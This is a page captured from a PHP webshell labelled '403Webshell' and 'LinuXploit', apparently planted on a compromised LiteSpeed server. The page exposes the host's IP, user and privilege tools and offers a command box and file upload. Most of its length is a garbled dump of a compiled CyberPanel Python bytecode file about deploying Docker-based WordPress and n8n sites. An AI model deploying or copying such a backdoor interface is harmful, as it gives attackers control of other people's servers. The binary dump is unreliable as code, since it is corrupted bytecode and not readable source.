403Webshell
Server IP : 202.155.9.38  /  Your IP : 216.73.216.82
Web Server : LiteSpeed
System : Linux srv733443859 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64
User : rabbi4843 ( 1044)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/CyberCP/plogical/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/CyberCP/plogical/__pycache__/DockerSites.cpython-310.pyc
o

�$>g��@s�ddlZddlZddlZddlZddlmZej�d�zddlZWnYzddl	m
Z
ddlmZddl
mZWnYddlmZddlmZddlZddlZGd	d
�d
ej�Zdd�Zed
krje�dSdS)�N)�randintz/usr/local/CyberCP)�randomPassword)�
ACLManager)�
DockerInstall)�ProcessUtilities)�CyberCPLogFileWriterc@s�eZdZdZdZdd�Zdd�Zdd�Zed	d
��Z	edd��Z
d
d�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!S)"�Docker_Sites��cCs0tj�|�||_||_z|jd|_WnYz=t��tjks(t��tj	kr?|jd�
dd��d|jd�
dd���|_n|jd�
dd��d|jd�
dd���|_WnYd}t�|�}|�
d�d	k�rd
dlm}d
dlm}|��}|d
}tj�tj�r�t�d|���|�
d�d	kr�|�d�}	dttdd��}
tj�|
�r�t�|
�t|
d�}|�|	�|��d|jd}|d|
}t� |�|d}
|
�
d�d	k�r|
�d�}	dttdd��}
tj�|
�r�t�|
�t|
d�}|�|	�|��d|jd}|d|
}t� |�dSdSdS)N�JobID�name� ��-�_zcat /etc/csf/csf.confzSECTION:Initial Settings���r)�CSF)�virtualHostUtilities�tcpINzTCPIN docker: �8088z,8088�/home/cyberpanel/i�i'�wz#sudo /usr/local/CyberCP/bin/python z/plogical/csf.pyz' modifyPorts --protocol TCP_IN --ports �tcpOUTz( modifyPorts --protocol TCP_OUT --ports )!�multi�Thread�__init__�function_run�datarr�decideDistro�centos�cent8�replace�
DockerAppName�outputExecutioner�find�plogical.csfr�plogical.virtualHostUtilitiesr�fetchCSFSettings�os�path�exists�	debugPath�logging�writeToFile�strr�remove�open�write�close�
cyberPanel�executioner)�selfrr�command�resultrr�currentSettingsr�ports�	portsPathr-�execPathr�r<�*/usr/local/CyberCP/plogical/DockerSites.pyr s`.,�









�zDocker_Sites.__init__c
Cs�z'|jdkr
|��WdS|jdkr|��WdS|jdkr%|��WdSWdStyC}zt�t|�d�WYd}~dSd}~ww)N�DeployWPContainer�SubmitDockersiteCreation�DeployN8NContainerz [Docker_Sites.run])rr>r?r@�
BaseExceptionr,r-r.)r5�msgr<r<r=�runes


� ��zDocker_Sites.runcCs�t��tjkst��tjkrgd}t�|�}|rnd|fSd}t�|�}|r&nd|fSd}t�|�}|r4nd|fSd}t�|�}|rBnd|fSd}t�|dd�}|rRnd|fSd	}t�|dd�}|rcd
Sd|fSd}t�|�}|rrd
Sd|fS)NzUdnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.reporzJdnf install docker-ce docker-ce-cli containerd.io docker-compose-plugin -yzsystemctl enable dockerzsystemctl start dockerz|curl -L "https://github.com/docker/compose/releases/download/v2.23.2/docker-compose-linux-x86_64" -o /usr/bin/docker-compose�rootTz chmod +x /usr/bin/docker-compose�r	Nzapt install docker-compose -y)rrrr r4)r5r6�
ReturnCoder<r<r=�
InstallDockerrsH




zDocker_Sites.InstallDockercCs^ddlmm}t��tjkr@d}t|d���}d|��}|�|�dkr>d|�d|�d�}t|d	�}|�	|�|�
�dSdSd
}t|d���}|�|�}|�d�}|�d�}	d
|�
|	d�_d|��|�
|	d�_d|��|�
|	d�_d|�
|	d�_d|�
|	d�_d|�
|	d�_d|�
|	d�_d|�
|	d�_|�|	�|�|�}
|
j	|ddd�|�|�dS)Nrz&/usr/local/lsws/conf/httpd_config.conf�rz
127.0.0.1:rz
extprocessor dockerzG {
  type                    proxy
  address                 127.0.0.1:z�
  maxConns                100
  pcKeepAliveTimeout      60
  initTimeout             60
  retryTimeout            0
  respBuffer              0
}    
�az%/usr/local/lsws/conf/httpd_config.xml�extProcessorList�extProcessor�proxy�type�dockerr�address�35�maxConns�60�pcKeepAliveTimeout�initTimeout�retryTimeout�0�
respBufferzUTF-8T)�encoding�xml_declaration)�xml.etree.ElementTree�etree�ElementTreer�decideServer�OLSr0�readr$r1r2�
fromstring�Element�
SubElement�text�append�dump)�port�ET�ConfPathr�StringCheck�ProxyContent�WriteToFilerD�ext_processor_list�new_ext_processor�treer<r<r=�
SetupProxy�s@
��

�




zDocker_Sites.SetupProxycCsvd|��}z	t|d���}Wnd}Ytd|���|�|�dkr9d|�d�}t|d�}|�|�|��dSdS)	NrNrHrzvalue of content rz2
RewriteEngine On
REWRITERULE ^(.*)$ HTTP://dockerz/$1 [P]
rI)r0r_�printr$r1r2)rf�htaccessri�Content�HTAccessContentrkr<r<r=�
SetupHTAccess�s
�

�zDocker_Sites.SetupHTAccessc
Cs��z�t�|jd�d}t�|�}tj�tj�rt�	d|���|�
d�dkr9tj�tj�r2t�	d�d}t�|�t�|jd�|jd	�
d
d�|jd<d
�gd�|jd��d�|jd��d�|jd��d�|jd��d�|jd��d�|jd��d�|jd��d�|jd��d�|jd��d�|jd��d �|jd	��d!�|jd��d"�|jd��d#�|jd��d$�|jd%��d&�|jd'��d(�|jd��d)�|jd��d*�|jd��d+�|jd��d,�|jd��d-�|jd��d.�|jd/��d&�|jd0��d1��}d2|jd��}t�|dddd3�\}}|d4k�r;t�|jd5t|��d6��Wd4Sd7|jd�d8�}t|d9�}|�|�|��d:|�d
|jd;��}t�|dddd3�\}}|d4k�r}t�|jd5t|��d6��Wd4Sd<|jd;�d=|jd;��}t�|d>d?�t��tjk�s�t��tjk�r�d@}ndA}|�dB|jd;�dC|jd	�dD�}t�|dddd3�\}}tj�tj��r�t�	|�|d4k�r�t�|jd5t|��d6��Wd4St�|jdE�t�dF�i}	d|	dG<|jd|	dH<td|	�}
|
��\}}t�|�}tj�tj��rt�	t|��t|�dIk�r3t�	dJ�t�|jdJ�Wd4SdK}|dL|jd��}t�|�dK}|dM|jd�dN|jdO��}t�||jdP�t��tjk�sot��tjk�rrdQ}
ndR}
dS|
�dT|jd�dU�}t�|�d4dVlm}|��t�|jdW�WdSt �y�}z$t�	t|��dX��t�|jd5t|��d6��t!t|��WYd}~dSd}~ww)YN�#Checking if Docker is installed..,0�
docker --help�return code of docker install �	not foundr�'About to run docker install function...�O/usr/local/CyberCP/bin/python /usr/local/CyberCP/dockerManager/dockerInstall.py�Docker is ready to use..,10�SiteNamer
r�ServiceNamerz
version: '3.8'

services:
  'zQ':
    user: root
    image: cyberpanel/openlitespeed:latest
    ports:
      - "rfz;:8088"
#      - "443:443"
    environment:
      DB_NAME: "�MySQLDBNamez"
      DB_USER: "�MySQLDBNUserz"
      DB_PASSWORD: "�
MySQLPasswordz"
      WP_ADMIN_EMAIL: "�
adminEmailz"
      WP_ADMIN_USER: "�	adminUserz"
      WP_ADMIN_PASSWORD: "�
adminPasswordz"
      WP_URL: �finalURLz
      DB_Host: 'z-db:3306'
      SITE_NAME: 'z&'
    volumes:
#      - "/home/docker/z5:/usr/local/lsws/Example/html"
      - "/home/docker/z=/data:/usr/local/lsws/Example/html"
    depends_on:
      - 'zC-db'
    deploy:
      resources:
        limits:
          cpus: '�CPUsSitez/'  # Use 50% of one CPU core
          memory: �
MemorySitez&M  # Limit memory to 512 megabytes
  'zt-db':
    image: mariadb
    restart: always
    environment:
#      ALLOW_EMPTY_PASSWORD=no
      MYSQL_DATABASE: 'z'
      MYSQL_USER: 'z'
      MYSQL_PASSWORD: 'z'
      MYSQL_ROOT_PASSWORD: 'z%'
    volumes:
      - "/home/docker/zR/db:/var/lib/mysql"
    deploy:
      resources:
        limits:
          cpus: '�	CPUsMySQL�MemoryMySQLz/M  # Limit memory to 512 megabytes            
�mkdir -p /home/docker/r	r�Error � . [404]r�-docker-compose.ymlr�mv �ComposePath�
chmod 600 � && chown root:root rDT�docker compose�docker-compose� -f � -p '�' up -d�Bringing containers online..,50�rrr
z:Unkonwn error, containers not running. [DeployWPContainer]�H/usr/local/CyberCP/bin/python /usr/local/CyberCP/plogical/DockerSites.py� SetupProxy --port � SetupHTAccess --port � --htaccess �htaccessPath�externalApp�nobody�nogroupzchown -R nobody:z /home/docker/z/data��installUtilities�Completed. [200]z. [DeployWPContainer]�"r,�statusWriterrrr#r(r)r*r+r-r$r4rr!�joinr.r0r1r2rr r�time�sleepr�ListContainers�json�loads�len�plogical.installUtilitiesr��reStartLiteSpeedSocketrArp)r5r6r7r;�WPSite�message�TempComposerk�
dockerCommand�passdata�da�retdata�
containers�groupr�rBr<r<r=r>s�



����
�������������#�$�%�&�(�,�-�2



 "






  
��zDocker_Sites.DeployWPContainerc%
Cs��zNddlm}m}ddlm}|jd}t|d�}|�d�|��|jd}|jd}|jd	}|jd
}	|jd}
|jd}|jd
}|jd}
|jd}|jd}|jd}|jd}|}i}||d<||d<||d<d|d<||d<d|d<d|d<d|d<d|d<d|d<d|d <|	}|j	j
|dd!���dk�rIz5|j	j|dd!�}|j
d"kr�d#|_
|��t�|j|jd$|jd%�dkr�t|d�}|�d&�|��Wnt|�}|�||�}t�|j�}t�d'|�|d}	t|d(���}t�d)|�|�d*�d+k�r
n0|�d,�d+k�r&t|d�}|�d-|�|��YWdSt|d�}|�d.�|��t�d/�q�t|d�}|�d0�|��Y|j	j|d!�}|j����dk�rdt�|jd1�WdSt �!�}t �!�}t �!�}t �!�}|j	��dk�rd2} nt"t#|j	�$�j%�d�} id|�d3d4|�d5��d6d7|�d8��d9|�d:|�d;|�d<|�d=|
�d>|�d?| �d@d7|�dA��dB|�dC|
�dD|�dE|�dF|�dG|�||d7|�dH�|j&d7|��dI��}!|dRidJ|�d3d7|�d5��d@d7|�dA��d6d7|�d8��dKt'j(�d:|�d;|�d=|
�d>|�d?| �dB|�dC|
�dD|�dE|�dF|�dG|�d|��}"|"��|jdLdMk�r9t'dN|!�}#|#�)�WdS|jdLdOk�rMt'dP|!�}#|#�)�WdSWdSt*�yl}$zt�dQt"|$��WYd}$~$dSd}$~$ww)SNr)�DockerSites�Websites)�WebsiteManagerrrzCreating Website...,10�Domain�WPemal�Owner�userID�MysqlCPU�MYsqlRam�SiteCPU�SiteRam�sitename�
WPusername�WPpasswdr��tempStatusPath�
domainNamer�zPHP 8.1�phpSelection�websiteOwner�Default�packager	�ssl�	dkimCheck�openBasedir�
mailDomain�
apacheBackend)�domainzPHP 7.3zPHP 8.0�adminID�
currentACLzYou dont own this site.[404]zCreating website result....%srHz&Error web creating lastline ....... %sz[200]rz[404]z*Failed to Create Website: error: %s. [404]zCreating Website....,20r
zCreating DockerSite....,30z5Docker container already exists on this domain. [404]�11000r�z
/home/docker/z/docker-compose.yml�	MySQLPathz/home/z/public_html/sqldocker�
MySQLRootPassr~rr�r�r�rf�SitePathz/public_html/wpdockerr�r�r|r��	blogTitler��/public_html/.htaccess�r�r�r�r��docRoot�admin�SiteType�App�	WordPressr>�n8nr@z,Error Submit Docker site Creation ....... %sr<)+�websiteFunctions.modelsr�r��websiteFunctions.websiter�rr0�
writelinesr2�objects�filter�count�getr��saver�checkOwnershipr��submitWebsiteCreationr�r��contentr,r-r_r$r�r��dockersites_set�allr�rr�
generate_passr.�int�lastrfr�r�	Wordpress�startrA)%r5r�r�r�r��
statusFiler�r�r�r�r�r�r�r�r�r�r�r��currentTemp�
DataToPass�UserID�website�ab�
coreResult�coreResult1�
reutrntempath�lastLine�webobj�dbname�dbpasswd�
dbusernamer�rf�f_data�
dockersiteobj�
backgroundrBr<r<r=r?�sX















��

�



�


��������	�
���
�����
������������������

���z%Docker_Sites.SubmitDockersiteCreationc

Cs8zd|jd�d�}t�|�d|jd��}t�|�d|jd�d�}t�|�ddl}|��}|j}d|i}|jj|d	�}t�	d
t
|����|D]}d|j��}t�|�d|j��}t�|�qLd
|jd�d�}t�|�ddlm
}|��WdSty�}	zt�	dt
|	��WYd}	~	dSd}	~	ww)Nzdocker-compose -f /home/docker/r�z/docker-compose.yml downzrm -rf /home/docker/zrm -f /home/r�rr��filterszList of containers zdocker stop z
docker rm z
rm -rf /home/z/public_html/.htaccess'r�z"Error Delete Docker APP ....... %s)rrr4rN�from_envr"r��listr,r-r.�short_idr�r��reStartLiteSpeedrA)
r5r6rN�client�
FilerValue�label_filterr��	containerr�rBr<r<r=�DeleteDockerAppZs6




��zDocker_Sites.DeleteDockerAppc
Cszjddl}|��}|j}d|i}|jj|d�}d}d}|D]D}|j|j|jd|jvr1|jddng|j	dd��
d	�d|jvrF|jdd
nid�}	|dkrX|t�|	�}d}q|d
t�|	�}q|d}d|fWSt
y�}
zt�dt|
��dt|
�fWYd}
~
Sd}
~
ww)Nrrr�[�
HostConfig�Binds�2��tail�utf-8�PortBindings)�idr�status�volumes�logs_50r9r	�,�]�List Container ....... %s)rNrr"r�rrrr�attrs�logs�decoder��dumpsrAr,r-r.)r5rNr	r
rr��	json_data�checkerr�dicrBr<r<r=r��s6�	
��zDocker_Sites.ListContainersc
Cs�z"ddl}|��}|j�|jd�}|j|jdd��d�}d|fWStyC}zt�	dt
|��dt
|�fWYd}~Sd}~ww)Nr�containerID�
numberOfLinesrrr	r)rNrr�r�rrrrAr,r-r.)r5rNr	rrrBr<r<r=�
ContainerLogs�s
��zDocker_Sites.ContainerLogsc
Cs�zSddl}|��}|j�|jd�}|jdd�}|j|j|jd|j	vr*|j	ddng|j
dd��d	�d|j	vr?|j	dd
ni|dd|d
ddd�}d|fWStyt}zt
�dt|��dt|�fWYd}~Sd}~ww)Nrr$F)�streamrrrrrr�memory_stats�usage�	cpu_stats�	cpu_usage�total_usage)rrrrrr9�memory�cpur	r)rNrr�r�r�statsrrrrrrrAr,r-r.)r5rNr	rr/r#rBr<r<r=�
ContainerInfo�s(
�
��zDocker_Sites.ContainerInfocCs|��|��dS)N)r
r?)r5r<r<r=�
RebuildApp�szDocker_Sites.RebuildAppc
C�tzddl}|��}|j�|jd�}|��WdSty9}zt�dt	|��dt	|�fWYd}~Sd}~ww�Nrr$rEr)
rNrr�r�r�restartrAr,r-r.�r5rNr	rrBr<r<r=�RestartContainer����zDocker_Sites.RestartContainerc
Cr2r3)
rNrr�r�r�stoprAr,r-r.r5r<r<r=�
StopContainer�r7zDocker_Sites.StopContainerc
Cs��z4t�|jd�d}t�|�}tj�tj�rt�	d|���|�
d�dkr9tj�tj�r2t�	d�d}t�|�t�|jd�|jd	�
d
d�|jd<d
�gd�|jd��d�|jd��d�|jd��d�|jd��d�|jd��d�|jd��d�|jd��d�|jd��d�|jd��d�|jd��d�|jd��d�|jd��d�|jd��d�|jd��d �|jd!��d"�|jd��d#�|jd��d$�|jd��d%��}d&|jd��}t�|dddd'�\}}|d(k�rt�|jd)t|��d*��Wd(Sd+|jd�d,�}t|d-�}|�|�|��d.|�d
|jd/��}t�|dddd'�\}}|d(k�rMt�|jd)t|��d*��Wd(Sd0|jd/�d1|jd/��}t�|d2d3�t��tjk�srt��tjk�rud4}nd5}|�d6|jd/�d7|jd	�d8�}t�|dddd'�\}}|d(k�r�t�|jd)t|��d*��Wd(St�|jd9�t�d:�i}	d|	d;<|jd|	d<<td|	�}
|
��\}}t�|�}tj�tj��r�t�	t|��t|�d=k�r�t�	d>�t�|jd>�Wd(Sd?}|d@|jd!��}t�|�d?}|dA|jd!�dB|jdC��}t�||jdD�d(dElm}
|
��t�|jdF�WdSt �yf}z$t�	t|��dG��t�|jd)t|��d*��t!t|��WYd}~dSd}~ww)HNrurvrwrxrryrzr{r|r
rr}rzE
version: '3.8'

volumes:
  db_storage:
  n8n_storage:

services:
  'z�-db':
    image: docker.io/bitnami/postgresql:16
    user: root
    restart: always
    environment:
#      - POSTGRES_USER:root
      - POSTGRESQL_USERNAME=rz
      - POSTGRESQL_DATABASE=r~z&
      - POSTGRESQL_POSTGRES_PASSWORD=r�z
      - POSTGRESQL_PASSWORD=z%
    volumes:
#      - "/home/docker/r�z4/db:/var/lib/postgresql/data"
      - "/home/docker/z/db:/bitnami/postgresql"

  'z�':
    image: docker.n8n.io/n8nio/n8n
    user: root
    restart: always
    environment:
      - DB_TYPE=postgresdb
      - DB_POSTGRESDB_HOST=zC-db
      - DB_POSTGRESDB_PORT=5432
      - DB_POSTGRESDB_DATABASE=z
      - DB_POSTGRESDB_USER=z 
      - DB_POSTGRESDB_PASSWORD=z
      - N8N_HOST=z9
      - NODE_ENV=production
      - WEBHOOK_URL=https://z
    ports:
      - "rfz:5678"
    links:
      - z'-db
    volumes:
      - "/home/docker/z0/data:/home/node/.n8n"
    depends_on:
      - 'z-db'
r�r	rr�r�rr�rr�r�r�r�rDTr�r�r�r�r�r�r�rrr
z;Unkonwn error, containers not running. [DeployN8NContainer]r�r�r�r�r�r�r�r�z. [DeployN8NContainer]r�)r5r6r7r;r�r�r�rkr�r�r�r�r�r�rBr<r<r=r@s�



����������� �!�#�%�'�)�+�0



 "





 ��zDocker_Sites.DeployN8NContainerN)�__name__�
__module__�__qualname__r��JoomlarrCrG�staticmethodrortr>r?r
r�r&r0r1r6r9r@r<r<r<r=rs,E
?
:
F2.rc
Cs�z�tjdd�}|jddd�|jddd�|jddd�|jd	dd�|jd
dd�|��}|jdkr<t�|j�WdS|jdkrLt�|j|j	�WdS|jd
kr�idd�dd�dd�dd�dd�dd�dd�dd�dd�dd�d d!�d"d�d#d�d$d%�d&d'�d(d)�d*d�dd+d,d-d.d/��}td|�}|�
�WdS|jd0kr�d1|ji}td|�}|��WdSWdSt
y�}z
tt|��WYd}~dSd}~ww)2NzCyberPanel Docker Sites)�description�functionzSpecify a function to call!)�helpz--portrz
--htaccessz
--externalAppz--domainrort�DeployWPDockerrz/home/cyberpanel/hey.txtr�z./home/docker.cyberpanel.net/docker-compose.ymlr�z1/home/docker.cyberpanel.net/public_html/sqldockerr��
testdbwp12345r~�testdbwprr�r��2r��512rf�8000r�z0/home/docker.cyberpanel.net/public_html/wpdockerr�r�r|zwp docker testr�zdocker.cyberpanel.netr�zdocker siter�zusman@cyberpersons.comz1/home/docker.cyberpanel.net/public_html/.htaccess�	docke8463z/home/docker.cyberpanel.netr�r
r�)�argparse�ArgumentParser�add_argument�
parse_argsr@rrorfrtrqr@r�r
rArpr.)�parser�argsr�dsrBr<r<r=�Main�s�


��������	�
���
������

�
���rP�__main__)r�r(�sysr��randomrr)rd�django�plogicalr�plogical.aclr�dockerManager.dockerInstallr�plogical.processUtilitiesr�plogical.CyberCPLogFileWriterrr,rI�	threadingrrrrPr:r<r<r<r=�<module>s@ <
�

Youez - 2016 - github.com/yon3zu
LinuXploit